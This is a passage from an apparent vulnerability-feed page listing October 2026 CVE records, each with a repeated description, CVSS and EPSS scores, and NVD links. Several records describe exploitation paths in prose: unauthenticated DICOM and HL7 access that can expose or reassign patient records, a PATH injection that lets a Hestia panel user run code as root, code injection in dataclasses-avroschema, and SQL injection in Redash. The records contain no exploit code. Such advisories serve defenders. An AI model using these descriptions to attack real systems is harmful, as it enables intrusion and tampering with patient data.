NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105279&date=2026-10-25
In the default configuration, the archive accepts DICOM associations from an unregistered calling AE. A remote peer can use C-FIND and C-GET to enumerate and retrieve patient information and medical images. It can also use C-STORE to file fabricated study content under an existing patient identity.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.
https://kevwire.com/record/CVE-2026-105474
A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root. (Oct 15, 2026).
A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.
CVSS 9.4 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105474).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105474&date=2026-10-25).
Sources:
NVD CVE-2026-105474: https://nvd.nist.gov/vuln/detail/CVE-2026-105474
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105474&date=2026-10-25
A server-side template injection exists in SolusVM 2 up to version 2.0.0-44576 that allows remote authenticated users to execute arbitrary code as root.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application.
https://kevwire.com/record/CVE-2026-105667
In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application. (Oct 16, 2026).
In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application. A remote sender can reassign studies and related workflow records from one patient identity to another. The archive's unmerge does not reverse this.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105667).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105667&date=2026-10-25).
Sources:
NVD CVE-2026-105667: https://nvd.nist.gov/vuln/detail/CVE-2026-105667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105667&date=2026-10-25
In the default configuration, the HL7 listener accepts ADT^A40 patient-merge messages without authenticating the sending application. A remote sender can reassign studies and related workflow records from one patient identity to another. The archive's unmerge does not reverse this.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of...
https://kevwire.com/record/CVE-2026-107564
An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of... (Oct 16, 2026).
An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107564).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107564&date=2026-10-25).
Sources:
NVD CVE-2026-107564: https://nvd.nist.gov/vuln/detail/CVE-2026-107564
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107564&date=2026-10-25
An unauthenticated remote attacker may use an allocation of resources without limits or throttling weakness in the affected product to cause high CPU load leading to a denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An attacker can use a hard-coded credential to log in to EseeCloud devices.
https://kevwire.com/record/CVE-2026-107617
An attacker can use a hard-coded credential to log in to EseeCloud devices. (Oct 16, 2026).
An attacker can use a hard-coded credential to log in to EseeCloud devices.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107617).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107617&date=2026-10-25).
Sources:
NVD CVE-2026-107617: https://nvd.nist.gov/vuln/detail/CVE-2026-107617
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107617&date=2026-10-25
An attacker can use a hard-coded credential to log in to EseeCloud devices.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.
https://kevwire.com/record/CVE-2026-107621
JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream. (Oct 16, 2026).
JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107621).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107621&date=2026-10-25).
Sources:
NVD CVE-2026-107621: https://nvd.nist.gov/vuln/detail/CVE-2026-107621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107621&date=2026-10-25
JPEGParser can enter an infinite loop while parsing a specially crafted or truncated stream.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.
https://kevwire.com/record/CVE-2026-108335
When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack. (Oct 14, 2026).
When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.



There is no rate limiting on the attempts to enter the reset code, leading to the possibility of a brute force solution to the password reset challenge.



An attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108335).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108335&date=2026-10-25).
Sources:
NVD CVE-2026-108335: https://nvd.nist.gov/vuln/detail/CVE-2026-108335
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108335&date=2026-10-25
When the password reset functionality is enabled, and email is configured, an attacker could take over any account using a brute-force attack.



There is no rate limiting on the attempts to enter the reset code, leading to the possibility of a brute force solution to the password reset challenge.



An attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### When the default self-signed certificate is used, an attacker could gain administrative access to the application.
https://kevwire.com/record/CVE-2026-108336
When the default self-signed certificate is used, an attacker could gain administrative access to the application. (Oct 14, 2026).
When the default self-signed certificate is used, an attacker could gain administrative access to the application.



The SSL certificate for the web interface is used to sign JWT access tokens that are used to validate that the user is logged in. When the default SSL certificate is used, an attacker could have the capability to sign JWT access tokens and bypass login.



An attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108336).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108336&date=2026-10-25).
Sources:
NVD CVE-2026-108336: https://nvd.nist.gov/vuln/detail/CVE-2026-108336
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108336&date=2026-10-25
When the default self-signed certificate is used, an attacker could gain administrative access to the application.



The SSL certificate for the web interface is used to sign JWT access tokens that are used to validate that the user is logged in. When the default SSL certificate is used, an attacker could have the capability to sign JWT access tokens and bypass login.



An attacker could gain administrative access to the application and perform actions like configuring the service or requesting log collection. Device credentials and customer data cannot be accessed with this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections.
https://kevwire.com/record/CVE-2026-108361
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. (Oct 12, 2026).
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Before 0.9.1, an attacker with local access could modify workload code, data, and configuration at any time after successful connection establishment. Once Evidence was successfully appraised and the connection was established, there was a window of vulnerability from the establishment of the connection to the termination of the connection where an attacker could modify the state of the workload and platform at runtime on the TLS endpoint acting as the Attester. This vulnerability was possible because Privasys/ra-tls-clients performed attestation only once in the lifetime of the connection (at connection establishment time), and the verifying peer continued to believe that the state was the same as in the initial Evidence throughout, whereas it could be stale at some point in time. This vulnerability is fixed in 0.9.1.
CVSS 7.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108361).
EPSS <0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108361&date=2026-10-25).
Sources:
NVD CVE-2026-108361: https://nvd.nist.gov/vuln/detail/CVE-2026-108361
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108361&date=2026-10-25
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Before 0.9.1, an attacker with local access could modify workload code, data, and configuration at any time after successful connection establishment. Once Evidence was successfully appraised and the connection was established, there was a window of vulnerability from the establishment of the connection to the termination of the connection where an attacker could modify the state of the workload and platform at runtime on the TLS endpoint acting as the Attester. This vulnerability was possible because Privasys/ra-tls-clients performed attestation only once in the lifetime of the connection (at connection establishment time), and the verifying peer continued to believe that the state was the same as in the initial Evidence throughout, whereas it could be stale at some point in time. This vulnerability is fixed in 0.9.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections.
https://kevwire.com/record/CVE-2026-108362
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. (Oct 12, 2026).
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Prior to 0.11.0, TEE attestation evidence in Privasys attested TLS is accepted without requiring an explicitly authorized platform identity. When a network attacker can forge evidence or extract attestation secrets from a compromised unrevoked platform, the verifier accepts valid measurements from a different unrevoked TEE platform as though they came from the intended Attester. The attacker can impersonate the attested TLS endpoint. This issue is fixed in version 0.11.0.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108362).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108362&date=2026-10-25).
Sources:
NVD CVE-2026-108362: https://nvd.nist.gov/vuln/detail/CVE-2026-108362
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108362&date=2026-10-25
Privasys Remote Attestation TLS Clients provides multi-language utilities for verifying attested TLS connections. Prior to 0.11.0, TEE attestation evidence in Privasys attested TLS is accepted without requiring an explicitly authorized platform identity. When a network attacker can forge evidence or extract attestation secrets from a compromised unrevoked platform, the verifier accepts valid measurements from a different unrevoked TEE platform as though they came from the intended Attester. The attacker can impersonate the attested TLS endpoint. This issue is fixed in version 0.11.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108379
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed inserts a fixed type's namespace value between quotes inside a generated types.confixed annotation without escaping or validating it. A crafted quote can terminate the namespace string and alter the surrounding annotation expression, which Python evaluates when the generated class is defined, allowing arbitrary code execution. Version 0.70.6 fixes the vulnerability by requiring the namespace to be a dot-separated sequence of valid Avro names.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108379).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108379&date=2026-10-25).
Sources:
NVD CVE-2026-108379: https://nvd.nist.gov/vuln/detail/CVE-2026-108379
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108379&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed inserts a fixed type's namespace value between quotes inside a generated types.confixed annotation without escaping or validating it. A crafted quote can terminate the namespace string and alter the surrounding annotation expression, which Python evaluates when the generated class is defined, allowing arbitrary code execution. Version 0.70.6 fixes the vulnerability by requiring the namespace to be a dot-separated sequence of valid Avro names.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108380
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.65.9 through 0.70.5, PydanticFieldRepresentation.add_field_properties inserts a schema field's doc value between the quotes of a generated pydantic.Field description argument without escaping it. A crafted quote can terminate the string and inject an expression evaluated during generated class definition, allowing arbitrary Python code execution for Pydantic and AvroDantic model generation. Version 0.70.6 fixes the vulnerability by escaping the documentation value before rendering it.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108380).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108380&date=2026-10-25).
Sources:
NVD CVE-2026-108380: https://nvd.nist.gov/vuln/detail/CVE-2026-108380
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108380&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.65.9 through 0.70.5, PydanticFieldRepresentation.add_field_properties inserts a schema field's doc value between the quotes of a generated pydantic.Field description argument without escaping it. A crafted quote can terminate the string and inject an expression evaluated during generated class definition, allowing arbitrary Python code execution for Pydantic and AvroDantic model generation. Version 0.70.6 fixes the vulnerability by escaping the documentation value before rendering it.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108384
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed interpolates a fixed type's aliases value directly into a generated types.confixed annotation. A list is represented with quoted entries, but a bare string is emitted as an unquoted Python expression and evaluated when the generated module is imported, allowing arbitrary code execution from a crafted schema. Version 0.70.6 fixes the vulnerability by rejecting aliases values that are not lists.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108384).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108384&date=2026-10-25).
Sources:
NVD CVE-2026-108384: https://nvd.nist.gov/vuln/detail/CVE-2026-108384
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108384&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_fixed interpolates a fixed type's aliases value directly into a generated types.confixed annotation. A list is represented with quoted entries, but a bare string is emitted as an unquoted Python expression and evaluated when the generated module is imported, allowing arbitrary code execution from a crafted schema. Version 0.70.6 fixes the vulnerability by rejecting aliases values that are not lists.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas.
https://kevwire.com/record/CVE-2026-108385
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. (Oct 13, 2026).
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_enum and EnumRepresentation.render_symbols use each schema-controlled enum symbol as a generated enum member name after case conversion but without validating it as an identifier. When generator classes are used directly, newlines and punctuation can inject constrained statements into the generated enum class body, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating every enum symbol as a name.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108385).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108385&date=2026-10-25).
Sources:
NVD CVE-2026-108385: https://nvd.nist.gov/vuln/detail/CVE-2026-108385
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108385&date=2026-10-25
dataclasses-avroschema generates Avro schemas from Python dataclasses, Pydantic models, and Faust Records and generates Python code from Avro schemas. From version 0.38.0 through 0.70.5, BaseGenerator.parse_enum and EnumRepresentation.render_symbols use each schema-controlled enum symbol as a generated enum member name after case conversion but without validating it as an identifier. When generator classes are used directly, newlines and punctuation can inject constrained statements into the generated enum class body, allowing namespace modification or preventing the module from loading. Version 0.70.6 fixes the vulnerability by validating every enum symbol as a name.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Hestia Control Panel is a lightweight and powerful control panel for the modern web.
https://kevwire.com/record/CVE-2026-108390
Hestia Control Panel is a lightweight and powerful control panel for the modern web. (Oct 14, 2026).
Hestia Control Panel is a lightweight and powerful control panel for the modern web. From version 1.9.7 through 1.10.4, update_object_value() in func/main.sh does not escape single quotes when writing a custom document-root value to a user's web.conf file, allowing a low-privileged authenticated panel user with a web domain to inject an additional PATH field. When the user invokes the ordinary Search feature, the root-privileged v-search-user-object script loads the forged field through parse_object_kv_list_non_eval(), which permits reserved shell-variable names and globally replaces PATH before invoking column without an absolute path. By placing a malicious column executable in the injected search path, the user can execute arbitrary code as root. This residual vulnerability was introduced when version 1.9.7 replaced the raw eval sink addressed by CVE-2026-84984 with parse_object_kv_list_non_eval(), and it is fixed in version 1.10.5.
CVSS 9.9 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108390).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108390&date=2026-10-25).
Sources:
NVD CVE-2026-108390: https://nvd.nist.gov/vuln/detail/CVE-2026-108390
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108390&date=2026-10-25
Hestia Control Panel is a lightweight and powerful control panel for the modern web. From version 1.9.7 through 1.10.4, update_object_value() in func/main.sh does not escape single quotes when writing a custom document-root value to a user's web.conf file, allowing a low-privileged authenticated panel user with a web domain to inject an additional PATH field. When the user invokes the ordinary Search feature, the root-privileged v-search-user-object script loads the forged field through parse_object_kv_list_non_eval(), which permits reserved shell-variable names and globally replaces PATH before invoking column without an absolute path. By placing a malicious column executable in the injected search path, the user can execute arbitrary code as root. This residual vulnerability was introduced when version 1.9.7 replaced the raw eval sink addressed by CVE-2026-84984 with parse_object_kv_list_non_eval(), and it is fixed in version 1.10.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator...
https://kevwire.com/record/CVE-2026-109119
Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator... (Oct 16, 2026).
Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator by modifying the role parameter in a POST request.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109119).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109119&date=2026-10-25).
Sources:
NVD CVE-2026-109119: https://nvd.nist.gov/vuln/detail/CVE-2026-109119
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109119&date=2026-10-25
Improper Privilege Management in the user management API endpoint (/api/users/{username_or_id}) in Rdiffweb allows authenticated users to elevate their privileges to administrator by modifying the role parameter in a POST request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Slican telephone exchanges use symmetric encryption for TCP/IP communication.
https://kevwire.com/record/CVE-2026-35088
Slican telephone exchanges use symmetric encryption for TCP/IP communication. (Oct 15, 2026).
Slican telephone exchanges use symmetric encryption for TCP/IP communication. Secret key is hardcoded in multiple binary files. An attacker who has access to these files can decrypt the communication.

This issue was fixed in IPx series version 6.62.0100.

The issue STILL EXISTS in End-Of-Life telephone exchanges:
- CCT-1668 (CCT1CPU)
- MAC-6400
- CXS-0424
These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.
CVSS 8.2 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-35088).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-35088&date=2026-10-25).
Sources:
NVD CVE-2026-35088: https://nvd.nist.gov/vuln/detail/CVE-2026-35088
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-35088&date=2026-10-25
Slican telephone exchanges use symmetric encryption for TCP/IP communication. Secret key is hardcoded in multiple binary files. An attacker who has access to these files can decrypt the communication.

This issue was fixed in IPx series version 6.62.0100.

The issue STILL EXISTS in End-Of-Life telephone exchanges:
- CCT-1668 (CCT1CPU)
- MAC-6400
- CXS-0424
These products were discontinued in 2011 and 2012 and and will not receive updates. These products require a hardware update in order to receive a software update. The vendor recommends that users of these devices contact the their service department directly to determine the options for upgrading.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Redash is a package for data visualization and sharing.
https://kevwire.com/record/CVE-2026-42093
Redash is a package for data visualization and sharing. (Oct 14, 2026).
Redash is a package for data visualization and sharing. From versions after 8.0.0 until 26.9.0, the Query Results query runner in redash/query_runner/query_results.py accepts param_query_N_{key=value} parameters and passed attacker-controlled values to replace_query_parameters() for raw substitution into a referenced query's SQL. This path bypassed the ParameterizedQuery schema validation used by normal query execution and omitted the is_safe permission check. An authenticated user with at least view-only access to both the Query Results data source and the referenced data source could therefore inject SQL through text parameters and execute it with the referenced data source's privileges. This issue is fixed in version 26.9.0.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42093).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42093&date=2026-10-25).
Sources:
NVD CVE-2026-42093: https://nvd.nist.gov/vuln/detail/CVE-2026-42093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42093&date=2026-10-25
Redash is a package for data visualization and sharing. From versions after 8.0.0 until 26.9.0, the Query Results query runner in redash/query_runner/query_results.py accepts param_query_N_{key=value} parameters and passed attacker-controlled values to replace_query_parameters() for raw substitution into a referenced query's SQL. This path bypassed the ParameterizedQuery schema validation used by normal query execution and omitted the is_safe permission check. An authenticated user with at least view-only access to both the Query Results data source and the referenced data source could therefore inject SQL through text parameters and execute it with the referenced data source's privileges. This issue is fixed in version 26.9.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Qexo is an open source online editor for static blogs.
https://kevwire.com/record/CVE-2026-44828
